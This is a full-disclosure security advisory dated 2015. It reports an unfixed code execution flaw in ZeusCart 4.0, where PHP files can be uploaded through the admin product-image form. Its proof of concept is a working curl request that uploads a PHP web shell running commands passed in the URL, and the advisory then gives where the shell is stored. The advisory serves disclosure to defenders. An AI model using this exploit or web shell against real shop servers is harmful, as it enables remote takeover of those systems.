ZeusCart 4.0: Code Execution
Date: 2015-09-14 11:01:051. Introduction
| Affected Product: | ZeusCart 4.0 |
| Fixed in: | not fixed |
| Fixed Version Link: | n/a |
| Vendor Contact: | support@zeuscart.com |
| Vulnerability Type: | Code Execution |
| Remote Exploitable: | Yes |
| Reported to vendor: | 08/13/2015 |
| Disclosed to public: | 09/14/2015 |
| Release mode: | Full Disclosure |
| CVE: | n/a |
| Credits | Tim Coen of curesec GmbH |
2. Vulnerability Description
It is possible to upload PHP files when uploading an image for a new product. This leads to code execution once an attacker has gained access to the backend via SQL Injection, CSRF, or XSS.
Please note that an admin account with the right to add products is needed.
3. Proof of Concept
curl -i -s -k -X 'POST' \
-H 'Content-Type: multipart/form-data; boundary=--------1849257448' \
-b 'PHPSESSID=6hioh2kisld85o5f3qo3e5gf86' \
--data-binary $'----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0a18\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"selcatgory[]\"\x0d\x0a\x0d\x0a22\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"product_title\"\x0d\x0a\x0d\x0atest\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"desc\"\x0d\x0a\x0d\x0adesc\x0d \x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"sku\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"txtweight\"\x0d\x0a\x0d\x0a5\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"status\"\x0d\x0a\x0d\x0aon\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"ufile[0]\"; filename=\"test.php\"\x0d\x0aContent-Type: application/x-php\x0d\x0a\x0d\x0a<?php \x0apassthru($_GET[\'x\']);\x0a\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"price\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"msrp_org\"\x0d\x0a\x0d\x0a6\x0d\x0a----------1849257448\x0d\x0aContent-Disposition: form-data; name=\"soh\"\x0d\x0a\x0d\x0a7\x0d\x0a----------1849257448--\x0d\x0a' \
'http://localhost/zeuscart-master/admin/index.php?do=productentry&action=insert'
The image will be located here:
http://localhost/zeuscart-master/images/products/YYYY-MM-DDHHMMSStest.php
4. Solution
This issue was not fixed by the vendor.
5. Report Timeline
| 08/13/2015 | Informed Vendor about Issue (no reply) |
| 09/07/2015 | Reminded Vendor of release date (no reply) |
| 09/14/2015 | Disclosed to public |